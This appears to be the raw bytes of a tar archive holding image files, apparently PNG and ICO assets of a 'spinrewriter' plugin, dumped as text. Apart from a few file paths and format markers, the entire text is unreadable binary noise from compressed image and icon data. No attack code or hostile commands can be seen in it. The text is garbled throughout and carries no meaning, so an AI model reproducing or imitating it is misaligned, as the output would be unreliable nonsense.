2¸mLc1IRͼeNT7x(m8Xd,hA6g`@3WDNL`@!$q$ ,ޮ8*r˗ZnW1<`@ U,N3&;MovƯ7AxSگtC3{0:ͨNƗod+$uމZ]reqŏ0 jlҭn:cCMTW@0@i_3@75``8u 8~UyՅF¤Pݩ2Pv'@ɗ\`siUsVm[z#:atP05 rex9v}WmBʙWPg;(fgx1?|Ĕ\ҚM!z<=0?vWZ{`'F&eYV$z0ơ@UO2Po)_Q+,"֮qOC{-&&y Hdt@!rgOW61=j|EO{"U]_*BuB!) c5;q6a"^x?[PvIY1s̋Oo;m dP>OyxucW/Jur`hy k%R2-K3Fnf o@zjӿ:as Giӡrb@ҝX\/d l@رqZ/K}lBi@IYeSP>h҆ƧD<(|"@]P ^v 3t2N\4iH;bvX4ByKJ7er}9wYJ? Àj-H8'/ rś%[`/$#O7 _;;7^C7 ZQ/b]!wux@@;xXFOR-,Z4!uZp@# u/ws*wRCV~2kj Ɲ"֝}M5'l)^M4-]YK50YWW qPa#,$]#\bXg]eC1}ϒ]N1A8D.@`SJ!-{|d"/;}^+?Ʊ:ؓW,NlqǗme3L+;Iz~, *Tu |"`v:k"7@XIݹ$>Тsw76 awzxJw~xԺJ@r-”ctm\ `}b&[O2Pu_PZq`>n꒛8 z,J}E 9L(ܰe_\+Qt} &z/U}Xd؏* ' }Rl1@vRkR-Eq׿h8:jM LP̟`@LH_z&O_<.T/_k4iq>dL\y}k3iN5.gHW srB!F@Y2@X+z. r~Pƥ*J\cYkkǸ&Z<ΰJ0on @n?œS^; P 瓯n h~l_YVOLTTI-wl>h2@$>\<nC.b; kH_9`=~~pqaA+7a ^P(-P5PJT<I Z 4ݗY:e za` 4dORppUr:-N|*)򔗯NpyIy:: c:x!C@@bӓѕLտ_?vn&qU+%hor J V~{\:.rզ&mݹħ37;ﵔ9LxRgהڱ N`+0all?< xTMvcu;+? _'7#~qca7`v*uXXo}Ǫ\*NE@@~lGcgMoR2uv%F CFvʥcq74vbyqYļUle0r)ui+I.+P ȇ$z_sC~GR'gDM̍﬙p$䂧-Hqj[6PsT+T}S0^з.6 s8/_\D6 챖IY*2t}X@Dk]|{5`f fy9,*4f4̶~v=}@$!z{ .[| DL6 @iN}l{-"W<+Lr;)>Խ7yCk?NyxUKKjn>cjry@8 Uу?WX>@XD&]BcdLho-2 $WGIb/,^'0 )v 0CqVu&Q2I C5_S1JN$/%s -w>k Ryi ]5ǩ;"g(!v ۡ0zax<~r]<\XsA!KkN叶!%_yoI=,̀*UOz |)`h .ؑ;{c&̫jH[$ G[DĶ@8&W;|Dz6qqv:2;2Љ|?6K I|"x D YNwԝk=n rxc j%@`n&F ?wۻ3t2$LNOLLwǙyqtjv&35i Ls\odvSPBJr>=N=h;voqDget;q݅gXB0xxz wӯP9 * mOk3S }=pˮHhB*t=,Cq SaI<KOuTbO93pY7GC9;R–³m|?WI]I1aFq) $= $J2 ~CNA!'j 3 ~#%f|QWk@>Au zC#ۙX`v*tic ڏ}ؙᇨdy4`<);Z s3 OKM-,tV&"75qsYxxj=&NW`O7>nѲR)D­"{z,9;CiM :q䷇$ gF+>@߶{;蘚9s]=E$3sb ~ض$șDa9ʣ#e[ r{n2rsNMs<㿉5w`a4ܾAim.YHiSLV2#Lړmz#}q$ՔmY縹O^S.EnCv>\0 lPLԪK^T+$IK* ĝ|$-i o\%5pq$iI]uaIZ\&C$IZ\P1$-k\_%)g-HR[D@X.s$. ruYHsA${P(|CV{{?IZ!9Q~&$54h'E?IAmTVl$Ij2 \y׸P|GNk۬$IMC~F$5CAmP ~N$569m;LYIAnm#~^$5Anm@LLJANm=~n$eruS;$IKsr7p$IBf}|$Ij*`$Il rh'}QD>ը-U c~$X;@8\)IR, 'g*IRinMP(>*IR9K ࣂ%I WD xƇ|%Ií_g%IZ GLk Bq$I |(ȑ]ZT\l$ xI_@8 |[$>./*.~撤W rb-MP(s$9G n$ۃ\$(K~uA {7WzHz̕A\26…$GLoI-}P(n> I r_9!Irۂڣ(w$u9`ˁ[<7$I] ׵) 2. $u \gP gIR ǵ|$K_P(nE%*m1| sFn rZɕ 3?4 #IPh@E=CsOV{$p>P\$u2p~,27z>I:ĥK(*xsJ rVPJ, WWynIUA ۀG<$Im Gu* m=$ImAhbp595IR\:JCNn9I;I3 Bqx 0'IZ"3kd"6}% u| !A}ZGIR <Mx'*[<%I-NOQTyNJ t|}( )Ij;\(wg;=G%I 8;5mX ({J >1]#uS5Þp[JK?{J2.tgtd=p+p$)_Q(>ڍ\k?v09,IJh8[w"6୞ǒ[Tˀz.Kbl;ZG> =%InrFIFG~-I^$ 7$U+ɿ Jp'3뒤 =<|}̅ yyAn) +xKR@zNLet uԓB^=π$Tk I=N9=*RlGF!I]!*kz g; $uTo1[3q!I]g83`Q=1"nWC:,. "@`HR*tY. p$u2Z. E%; $uwpY..o $c?v+5: $R(0hd'G $-zp8@M8'%U21 .$-~hyj `HRKRuKV 0d0$%lK^`HRSSy{[Mp*p-`HRSH_N`k `H7SYg"7ig $Yڨr`)!8 I=fx+eWcL<`H26CtXj p=p@"Q%lHF%@yp9>VXR Bk@EaUCR8BnC^hG vpu^ |Xk0$uǀP(~PX([?ppnΥPP7:A<)KLpz 8'0!M ƵvnmTHRpZ 8 `0$#)6vnQT V 8o@ 8 $oPPPt. Hjrpm9o@ 8 c0u%p!C! UQpTo4zsPq,p.P4 RG+?ǚe@Icl>\FnPB`8 `?"P(NYQ2 6> |Bqp@*Vo Xg@%( 1! X \Zk@yj)wYh);o i,N@p6p!'JjR٨* 9! s1p*.,oBJ\ |B{CBP*x=0l@H')1PP!#CB`x9p>| gPw_P1$P/7Sy&; <|'@\g3(Bsu6,Tx3>Ha+p)YH@x!G XiPAvWS( ,0p**C 8p-DR㊁Kb%2%4Ie\+7ܞWRkUTv|"`Р낤5.C" i銁WE zQ(>nHd _1<xq뙸ᐒ)?>aY&*C/`AQ ہ냄6C" {|CzI !!%! B 5$( "ED"E4DTi;D#vQQĆ=5N< d̞rHZ*CDeZ"                no2L `ҙVLW3Lbb1LG9Tg+ ؿ;16pf1sƐ ~e3B9DC k.|fB&_Z?3331ݙZ#GxpwdQ^_:k%uK-CߦϟM79,gz1ax}[K&o"8`E{Y3_,"3g荟/-7749$/$t(M3\krg @rw4nUey+4afk/]`̇hК9<:0zPE}}|j|ng*}^ӥ|# _O3W` pS[OV!`직q/!73 lfXe:҆ϢF^fSR9۩+oRUQ/Ǐ%+}jL\AGͣAVQQԪE H6f[6M!}VizofήO(1wkY.:oZ ROlٜ0M(}Z}fodW=6-WO=eM}I\A ,.6g:M}Z 3뙼jRBg6)8+= ]v3 ,A6~L)Ͼ%G5jGM&Fv6tÿf2[&=prAC ٭˜Rfkj=4$i^? _xt*Be>h&_K'2'=SbH#5{+ҝJ5n|ҤVG!f2C|_/ y;YwQ{Ig:?Aݖ&T߿|/RG =Ww|ͽxX Onb*03UB~^$GfA10>" #eVuq=Rm_+~aid-ïX;v)A),*wKA\ײpzRі\ԧ6>0EMRjmYY';x4/^nКfۏL>ΣYUYF I;3uCeQq=RՄނgߛe;CsxaMʟY~g:O4D0MՂ)ҷQ4d^VN0 >C:A]@^M! V =>h0fG&IgA5.60lNhQt[NR3pLFjpM:aow;,:U¯mCq+kTmAyPlt{u -IZ6ֺ 'PXJ>SmC4fS֒==T돢4)<ؽu#u\y B :2|P.!$z,fVvxwa=]5׷o8ն .CmukxQ5TQ 9a@;;Ϡإ{{_ARߣ!ZT6ju04oB ]$UjyUDx/~. 2`sDf{"e_j63{;_M3!r **M+ 92fa5]ahxQ?7T?Ց$rqv<7 zO`~} W_KX -Z_hʨ(Q&9ϏrDPeP??K^OT_ ͟^jײb JX!J&nUio8Շ6\MF+_kԓ06 鳙#(Rl?WD.A5#}N :fޢntcF3Ay2K!HjA>j1#@X$tT4[__ۉ>N')qvV]ﲯfbnǝ8 ۔SE7s7ܕT~! 45(V/nUe{`tMMg+U/ԼߩK3o)(Y{ay:OD7 E@ѵk':~ JVSBD|]8UQA|}fo)DV ΃<uA!(u"lF ]tM I4+-8d P+IR8z7鑞°@P9 HiF6@A(u[䵘2dX;OF^(ȦzM)ew{8AM'KJ Ym?DgR4~|}݉8uw 🪣uߐg5BuzP}wy Vhm[NJ㒮rms)sz{u.t=J=^#w#)ppt_O|H.~!j\% X{[Ivͷ?qm<(Eu%_pHRT;-|ELTp/8 W xWM.J|a7\_\/{L|kBkw,@/'D)҄@AۮACvVʈER]c*y}Wk"Ƀ&[wt*4l^TZ'q19:@oX |`&󭊟:PwR,SN<":+3,ܧ{Y˼ 9 {2|@п{^V@8* /NtPE@+*aI ,TkYD~h/G`n˒j ]U[\pi DexPb7ig+Z/5E][ͧof?zKQ3=}쭖x3[&uksxC QjiAqC(p}Bajh`0[L._Nca۞Ջl8*eJJY$U $-~Kz}r PE4E#6gymi|I+Z,L8>f<e6+2 7j綖z0٨h[߭·?DmBC |QQҀ,%=zWpEÄfkw,'H%KE)BR7B!PIj| !Gyr͟9'TnG"TWf7N\RyJ,5k?9Vco4H!i=o%W@OL\!rp(\vAFo8`SKN \iM|R4D\3-Yw]J|[b}K.&ϊ3z}헢XV|㳅.aFFF&l5Tlɐ 4EJS \3AЪ{Ŀ)a "-tL?.}QиE$R [Ut /ܖ{ `ZyO˞EQJV%hCN>4Bgiܦ ȟƠyI.EC-_쉬1yyy}vp˩VZBj[P8_U3p_PEA`tGlͲ[&DFFҾ}A?=,'*gsT-uW +:8qgWIj?GF#aBAvoUist-*χ~HB}+wk*X?5S|#5 ?o@5ܫ{* ǭZu/'bKb>rsJ@_ʓ/kO$/[v* Njel猐fRӮ];7eYcFUa (Ai>a@4uP S *fQuY6tZѨQ#Rs9rP3jm˼o)CY,hq@S@.j?3`@&VE-/nU\3ƏO"~*U*g3'DrpΪ*7ZDhI.@:Jx{Vʆf: M1EN/+~ w)$(h@wnhYEF ԇ~>3*Fo (6LJy&jF`p@`Ϸ_#*.]^xA[M;qttnoI^V=kA CJ5pkOo͆Z_0h:Sg;@K7O+C t(>@&&͟k1s0uT! !!A7Q`˽>Z5}́2G3еSlw{ /* }& р@[wdx[q]{lY@\MK)zui'ohfQeUdXrp]ؗr Z,v?=w~.uC’aI+UիMch 6fkB E@Xk9tڿzD)QhD`xzo[H.DGG?R5+%jQż O6s䓤_Rs˨Sb?A kJsMiyLixGT^U~&A?=:<܅_PB8yvr]VYhTb8w?kw.EVjVoj<=jć|Oſk!M6o+NYJ঒k6< C Ŷ쮻L4σs*|{tJgxo]E%Rn@7'ӽC(3ɬjIⅻAs(W|z+46r.ޛ"=<|OQGE%W\b[-&73>24T<hl&5z{wVs=) ůZlBV\JQP>T 'P 琮>L{вaŦՋ[h4n3E?*u]CI=u酬8OR4_Q$/Xc jXwٗ5 `0C 4';Z>wwr!^j}8/ a0RPٵ C3&EsLخ3! [68B=Rt+gHPYHJ"͐)MARGD3ܩWpU”|V TY/BCPj6[S+!L7Fh}(EAn[K_*}[81Nh Wp֬3jwnPy;)@ P!5R0eGxMܮ84A>sGPFUV|}z Q<.6Mtߊ= A#+ަ(1wenC juBöTcj8QEQΚi_x}(eQyG'gJxZ!a}VߘL}4OS4Ń>: ,eT9Ie#/V@}=SKc.(^Eh`IZWFd*ުCl+`=gi^:0gcѠ1@uyɫ w=x1)PUn@m c3huRk4,gĪ^#kxQgunE|"c5kf\vA4ɀI/WJh=8zi۳IcHPkch`I}_G ;ZjV#QF6t;t]ʼץ!6G==f8fl}XVp-k&?ɵ5BAqyTS=Mþ`_ZyS[8S Y0Xkh`Y4ֲVԼF((.OrrԵ_2uЮ>Vڜn?%b/4jUN+5/ڥF(,0_+ë]3jf?lswS!u.M,p-uAE/ob#]C7,a(KP+7/qGu0ۙ*fE8'z 3L}0fMߝd0S?[3: .Zc>>yG : C G÷0~XY E\K|(@kVSURbH򎨈h1j e-Z2mu% 34{k?q-u3{#ԞsHw! -\El'ZG:B,ǹ>`i}q-=dPYDУ.;|]-'vF4Wo?|,j 1k@|Vg "(iKwãD +>`y:Px-=m[Dѩz]VXXj]^҆Ϥٽ,*NpdT+w⢓JW 5{T5j=o4}0 &qp@չ9ˋLmZZ` .|Mo -_8QmYˋjN*:OWۡTUqIŵC~"È(>LLf&K9+†_&{oswPGSYƬl+g@Ё@{Qz;/B NP+aD!5Rqf f?DGn ׄm+/o|O"4܂zAmi^w~c[u㠄<B)>Ww:P5v2@KDstsa|+2o|Il!MѶV}`sv2}ᘅ#?}9L5@=lT5Ê^oIQo~rdZ ?lI7!LI&Ps˨}W"KSfeK97`6{bЮ^NK'!oR >8q{ٖӘBR(J-y#| Q'2V[IҢǘf:?"+ќ6|52eN]GC:z>>`'!]NR]ި{r\-wwxr`:LQ\ V c> rxMȹ䱉84` ܊ɣ^{'X PP^^~T0N'fV E2׮1NF@dCF-ݧ@ llPC]y XfPSJ֟PD,"PSv wcFcPI@22t@[DGg3(|P[(5b_Fo&*T. ,!&^!1i#̣LgWa+*Sںo_ W}j~\+E13< 2" :`vZ*S&J̩ban QKD9P݅oau\&O1K^c&1%O S=o>:+8L.41]i:~2Kb7;Q! 3䂪Qڟv!jƲ=LB@GQP{!MC@03 #7BǙ\!ࠨlT5JߠaA]|+)Mku7T ڂь_.rL0WX}iv?1y6J@10}iMPf;UhqV@]8zAD/k0l۟}jhB0k>ы6Bdi]7pLւ="P#(3.ѩ{b0WAF9 ՝jگZh&"zP%f AV|P,|&5HƧRTS}7=6{l3.U_lnQi9ga - *qGXJdž r8iL5lv@'J>V DIK>v@(o^h Aiv@C`)3|bwt3C@@ zVDc cJ/J 1afOʤ2 !ͺc; c=A@<Zhuy0"zK{# +mENoswB@U@#l0&+iF J(;N=F xJZ^g=Ԡn[cm`dU+''0QP<]CCxGS)6GJ]͛ \ a+meKDSWqXN bB gh^"jG5?PaɳbuM@Ә `Q} @҆Z$L@~u6XW0MU' pX ^j;L="4;fcɜND?5Cx\Dc+Eiu9y)_DI5~ j.1@h^ -<2âK? { l `~"@v+}1,t^FUKq?zn% LSԜI{9?*>4Iߡ<wJ쓲KMC4XhTi, nYJ؈BtJA12MCTw*|J`o1>k{V -v^ƅ`-=LpH]'[*4r1%,"5c."EH} [}\K"B@ܐ v1i]{/UC"GT9[.1eP'!喺 ̾piF^Xl7w "1{wUF,n ЭfSֈ]LJkOY&l}J)"$Z!x2WE,l] On""5}Chщj)L}&.6qU ^5!'>2þt˺E|2@cEi8yM]#}UDm\}(e=߼@' Y*!`-@'B)_\_+~6G5k@p@ꮴ4J҄@ sң"z*+Qwϛ>ލ-}}ke 6gJ'6}DTMQ!-4RW x?*1 impB "Ei^j@DCL}B`.N{Dx")]  `=/OC3ԒYI)h`bN"zT"$0] 5 J{ӿG )! :Ys؅Z{}њ&@b8:S)̷py{wDEp:.t %F/9,' .L:V(&h5 e#j80yG8 +x2o\BƔ= n"?k9x3 @] jir`l] -j/ʤjp qtaK Y-! Pf5_*4rpJ HZ>8 \ NscGf!43 u׺MaK @it^5:,=J}^ۂP-[h%Lܨs[#g B~Aw;2E`ЎIL`z;JZ]@pa<@sӧ8u&!6sN`suݟ->|8= ^!`|U GR%ލ@Esrr(M]%Pj9ih` E(m=IB0YZ#4Fu,s;m-.PZ!?ah)EoJz}l9O}1oqY=aACPمZ~p{sܕ 6f47 o%Nh(]a3D1#hR¤MC@>XMD^`\{BPS)u)! C,/FA0w{qrY ڏCb[vQ6X(fC@C5P(}әR k& ky]p5-?^uijpk%N,`!tyx2%/Xv,~8 X70nDW\h'ޚ$E:#'Edy̿ʈ8) U !` nGPSwi$6Nw& ^04;p{8)6i=wS\_Dq_ꂻ`0! )pͿ yUC^p  !J-Q|1E~!TX"cEGak6e:wE8!DrTw1ӄq=?"*0 W7Eh ɄjOL0E˧= aQ#Sv{\%d4}9䫱(/@-(8+ɏMUo0h rF([*C@]Qp@7z\~B@Ρ(np[Γg[2AzY!&yo:Є/DҡZgAASpdj(i aA ՜Ҝ5p6z^j'/?k \#8'yYN;5zj (X.!ݳ[䈮{mcZ<p ,B)Cu[ZSگ8!G5DָL B/_T`a9 w ѵQ#,Y݀Vy]B@< W(jm5m^` \n@p$U^t;fXޢY&L*-Pꚯ0T6|G@0[pe^,ȧ V6_Âz KhpٜE׭fi$Q}PLξ`U !:sRmћR^\5I+JՓ/f!U=\cL|O<57@_@bu(UUI-1&tꏜF=^`PXo)]^G0vEt ڋxCʔqaoil.na[x+Am_GP9ѵ )/9{RdaKa! k7zߛ(F#ffcX(kCcL0aU_:32?#p>T19J[dE< 0_Rcl,W& R(}R681PQI`v(Yh\gAi/U9GF59ܿ19.wg*tQ]&gO5j8qP3 S,GC@k Э+b?# e~w'7 8yQ#?˜5v2D25h+ ~^aԨ 7gn`N%EPAsE7uqڄgf$^w"C@g `W}ʉj\|re>D0â޲O<6a< /QhbZ(bcw|yK(v:0;?q?h%MnQ| !BeWLkSdh<>|@qmuz .`{vf/R>3 RO*EEcO>e45nVN tվX_gc2Wwtv]tԲGU~0qL3&_>Uf?sjM(Փ}C10NQlң:;ԎϘhL`~B'fj~_`u^ )y$-̵CSSꆦv |M\<}[-fl#7PH S%5L&R쇨ҷP[>= Fv 6<4{H =Pۗ`15<)a0%GS@\MX;(fx_p҆ϔرTB + 9lN)R `h_lp=k3'4SXcզ@S=P,L_mϰ5|i:1|bUT~kJ2WwYH^]s z?;yPDf4`_r[L>ѸW;"Fg/ӌuq OSM"8 ]9sGR;(Vq5|1Gc#Fhɚj:yVXtF -=5b)s/QOP^je&' {Gа-}Yj1 l;= yKyC0֞vS͐FtiջT]_rtuh`s[/9r6`t&z[t8@>L1]GP,r@ӯ|`p[Ȝ7FB `.6NwtL8X.![^:sGkG7H6G'5~^3qh`p[Hc>0>{QQ(jmAc 8 _X'`1^J1ͻm5e!@.uO]#ijg=OF% L?ykkӇZڂ0`[#RHBG# ~pVS嶹rVok?-BW?p[h| '@(ƟE PR>OJv0KS}@n漞o UiOlC(s)Id#ÿ?hA0С ~ai1_tU4}Ch 8w SGGe:7d2QRH;M&F=^Y{]<}ѼpB]Aq#BQU-Ni`˧E GgW5}-bbQt ˪ˣR-'P{3#*@n2SPpۂ+39k pAE|@qPh8`w}^vz|վ)2n3B^(.52u9hx}TVQowf;+L |qB۲;5ex ioH)^3rr05ÿg"Q, +? 72EgdStJ"}j҆ϤSlf. ŷ} ۂ|h1܍߶ viS JY-r+tuq5MǷ}xf|Y TޠӪ(s:J4YUXٜ]{w>@i 0?8˗BjJCR@ͦnwKyМ7PT5a O ϰ`Y3>o"@Efg 7wrH4a#uX[<^(7!:WswP )u Ģt6sx>ZAQ*n $:9gHW7j4zz4ߦ笩ϳAӪws L\!-?Zс5ҢM~EOLG@0ƌf>C!@O: '2VZ\=iL[QtTuOi&۾>SKk7ď7n`4ܦŌM_j|ִgk% @u~ZkJ]J"Gj|vt174,P$ĸZ7&,db=V3L  +x2Ѫʧ/Fhn0c5gk1#,!;Va0l&$*/)0:*9ֿo ۘWNL2 3QL=-3ìc Uyq/GKukm:ϔixF NDy?Iy#yqڏ:};^g..1r2 L ?<8Ȼ|ɷ>Vi]yCya[|[ab3<͌gr Jo˷֫7 o/       ?if>[IENDB`assets/images/bottom-dashed.png000064400000003341147600277620012567 0ustar00PNG  IHDR o pHYs+iTXtXML:com.adobe.xmp xIDAT(c?_{}k]1>ar\@@9Qdq&&-E9-4`8+~á (MNۏ\jeTM@9k&r4r48pij@c!-Y Mr]!(5݈LĽɁIENDB`assets/images/icon-64x64-spinrewriter.ico000064400000265606147600277620014315 0ustar00 pk(, _%so:a]PVQbLGpIDzMIQNԁQNԁOKӁOIҁOHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHҁPHҁPHҁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHҁPHҁPHҁPHҁPHҁPHҁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHҁPHҁPHҁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHҁPHҁPHҁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHӁPHҁQJӁRMԁRMԁKFҀE@}HCuRNg`\Vuq@+eaURSP.NKDDAZ<9n63~3/̊2/̒53͖97Η96Θ84͘73͘73Θ83Θ82Θ83Θ83Θ83Θ83Θ83͘83͘83͘83͘83͘83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83͘83͘83͘83͘83͘83͘83͘83͘83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83͘83͘83͘83͘83͘83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83Θ83͘83͘83͘83͘83͘83Θ83Θ83Θ83Θ83Θ83Θ82Θ82͘83͘:6Θ96Η41͗0,̔1-̍53͂<:sGD`RNJTP2NJWR~z  mi7RNR;8n+(ʈȞưżžƴ Ȥ+'ˏ72tGBX_Z=%SPSPLIB?ZW nknk*_]HROnB?ϓ-*ʲ  ($ɺ95͛JFx]ZSpn4omNM )*\[^[^[c_hdWT:86W#"w Ŕ$#ů"  " ŵ"!ƛ&&33`EEANN"KK IIIISPSPXU]ZBMJy*(ɧ  ##Dz==·NMOed%"%"! "!+(E53z0.ɯ'(Ƽ*+Ȋ"%T!,"{$!$!&"$%"b ǘ   êr ,SMSMSMUN,(H ƙ  í&(Yfa d`d`d`WPWPWPe^#WQP51̇ &%ȝ@;eIC.?:?:?:]X TNFJEӏ1- "1-̦83TE@Ajc|,DAn-*Ȼ  61ʀf_;yq )vrW64ș1-Ǯ`Zszr;tlldPKUPYTJHDӋ$"!=9ЦLG^YU !p ʀDC+)%/ Ǐ ŜBAB%EBLšŮLIdBKNKkŲJF҈oinhbpFB҉<7ЧSLהOI֒:5ϥ,':3Ѵ@:ӯ1,ν !*$5.)$ '!       $ ,&,&+%*%)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$)$*$*$+%-',%&  /+<8C>B<@:?9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9>9?9@:B871)$ 71FAPLTPRMPJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJOJPJPJQLRLSMOI>8'! ($C=PJUOVQTNRLSMUOUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPUPVPVPUOTNSMRMSNWRVQHB2, 0+ICQKPJOHMGMGPIRMTNTOTOSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNSNTNTNUOTOSLPINGKELFSMUPKE93%   3-KEQJNGLDJCJCLEMGNHNHNHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHMHNHNHNHNHMGLEJCHBJDQKTOLF<6(# 1,IBPINGLEKDIBGAE?C>C=C=C=C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C>C=C=C=C=C=E>G@HBICLEQLSNJD:4'"/*G@OHOHNGLEHA?9723.3-2-3.3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3/3.3.3.2-3.82?9E?JDNHSMRMIC82%  /)F@OIPIOHLFD>2- &"4.@:KDQKUORMHB81%  /)G@PJQKOJLF@;&" *%<5KDTNVQSNHB82$  /)G@PJQLPJLF?:# (":3KDTOWRSNHB72$  /)G@PJQKPJLF?:# (#;4JDTNWQSNHB72$  /)G@PJQKPJLF@:$! )#;5JDTNVQSNHB72$  /)G@PJQKPJLF@:$" )$<5KDTNVQSNHB72$  /)G@PJQKPJLF@:%" *%<6KDTNVQSNHB82%  /)G@PJQKPJMF@:&" *$<6KDTNWQSNIB82%  /)G@QJRKPJMFA:&" *$=5KDTNWQTNIB92&  /)G@QJRKQJMGA;&" *$=5KDTNWQTNIB92&  /)G@QJRKQJMGA;&" *$=5KETNWQTNIB92&  /)G@QJRKQKMGA;&"  ! !  *$=5KETOWQTNIB92&   /)G@QJRKQJMGA;&"  C@_[kilj^\HE-,*$=5KETOWQTNIB92&   0)G@PJRKQKMGA;&"  -+ok}YV+* *$=5LEUOWRTNIB92&   0*GAQJRLQKMGA;&"  "+%'!:9ut^^]^YY>< *%=6LEUOWRTNIC92&   /*GAQKRLQKMGA;&" +'3-2+'!BB|yC= *%=7LEUOWRTOIC92%   /+GAQKRLQKMGA;&" (#<6;5,' @?}xKF*%=7LEUOWRTOIC83%!  /+GAQKRLQKMGA;&" #93HB<7 5321*%=6LEUOWRTOIC83%!  /+GAQKRLQKMGA;&"  $70E>HB51$#]Z\Z'&!!&&!!*%=6LEUOWRTOIC83%!  /+GAQKRLQKMGA;&"  :4MFJC;5&"  &%OM¿rqXU96*%=6LEUOWRTOIC83%!  /+GAPKRLQKMGA;&"  .(LF[TKD0* &%ifea)'*%=6LEUOXRTOID93%!  /+FAPKQLQKMGA;&"  /*B.( 21`^_\    +$>6MFVPYTVQKE93%!  /+FAPKRLQKMGA;&"  4.MGZT[UTOHC93)%  20ihLH<:>=NLa]VR2/.&A9QJZT\WXSLG;5'" /+GAQKRLQKMGA;&"  3.KEXRYSVPQKJD@:2-" XVmi:60)E=TN]W]XXSMG=7($ 0*HAQKRLQKMGA;&"  )$;7HCOISMUOUOPJF@50 !a_lg42("93E@LHKGGCA<82(# 0*HAQKRLQKMGA;&"  *'<7KETNXSXSTOIC51$ HEb` !  &",&$  0*HAQKRLQKMGA;&" ($>8KESNYT[VVQJE:5 -+nizx(%    0*GAQKRLQKMGA;&" %!4/C=OIYS\VYSNH40%"@8MHXR^X[UJE40# ! A=kffd21 <8TOVQJE1. /*GAPKRLQKMGA;&"  '"40C>SMYTQK?9&" 2/d_fe>=.-+*0/>=WV{x`]-, /*GAQKRLQKMGA;&#   !:7LFKE@9)&MLnmJJ00,,EEhf\Z., /*GAQJRLQJMGA;&#  '$95:55/2056MO~~xuNL9989KKtsPM  /*GAQJRLQJNGA;%"     !BAyvts||wu10 /*GAQJRLRKNGA;%! "%% %%$$$%$! HI;:  /*GAQJRLRKNGA;$! %!83?9?9?9>7=6=6=6=6=6;593611.)&::¿yyWW99--??RQKI64"  /*GAQJRLRKNGA;$ 2/MHVPWQVPTMSLSLSLSLSLTMTNSNQKE@$$  $XY~PO,.&)>?__tpKG /*GAQJRLRKNGA;$ 51RL[U\V[UYRXPXPXPXPXPYRZTZTZSQK6343XW]ZAA79GJpq|DA  /*GAQJRLRKNGA;$ 0+ICQJRKQJOHNFNFNFNFNFNGNGPISKQIF?71)%"";<^_vq\XROcaso73 0+HDUQ?< 0*GAQJRLRKNGA;$  $ 71=7>8=7<5;4;4;4;4;4:4:4<6@9B;A9;3(" 44iizvb\]Yli|>:$"D@d^|pm:8 0*GAQJRLRKNGB;%! !! ))PNa^!<;db[Z(' 0*GAQJRLRJNGB;'"  %&QO@> 66qoFE  0*GAQJRLRJNGB;'# =<}|trON11((:9ZYZV&&  0*GAQJRLRJNGB;'#  !QNZX.-##88[ZkdB;IDWVAA 0*GAQJRLRJNGB;'"   GCxv][@>33AAhizs{{NN++ 0*GAQJRLRKNGB;&"   &$b_iiLLCBKIc`soLI98KKut¿vv<= 0*GAQJRLRKNGB;%! %*#*#*#("'!'!'!'!'!'!'!("(")",%+% 96fbvuOP01('IGsqzuNI>;GFrs\] 0*GAQJRLRKNGA;%!  ("=5DF?=6-(%!%"1.SQusxvdbLK00!!,+FEhglffayw¿pp!! 0*GAQJRLRKNGA;$ 3.OGWPXQWQTNSMSMSMSMSMSMSMSMSMTMXQZSUNJC82 $!"  HGzukewqon#" 0*GAQJRLRKNGA;$ 50RJ[S\U[TXQVPVPVPVPVPVPVPVPWPWPYR[T[SXPIB*&0/WVGH 0*HAQJSLRKNGA;$ 0,JCSKTLSLPIOHNHOHOHOHOHOHOHOHOHOHOHTMYRQJ:5# ?={y]_*. 0*HARJSLRKNGA;$! %!82?8@9?8=7<6<6<6<6<6<6<6<6<6<6<5<5@9E?@;.* /.PO}|ii&( 0*HARJSLRKNHB<%" !""!          !"!  # FAqnNM&&  0*HARJSLRKNHB<&#                  DAytMK 0*HARJSLRKNHB<'#  -,VTxvIG$# 0*HARJSLRKNHB<'# ! \Yyugbxspm86 0*HARKSLRKNHB<&#   B@nl}{gdebtpkh>; 0+HBRKSLRKNHA<%" %!*$*$)$(#(#(#(#(#(#*$+%&! 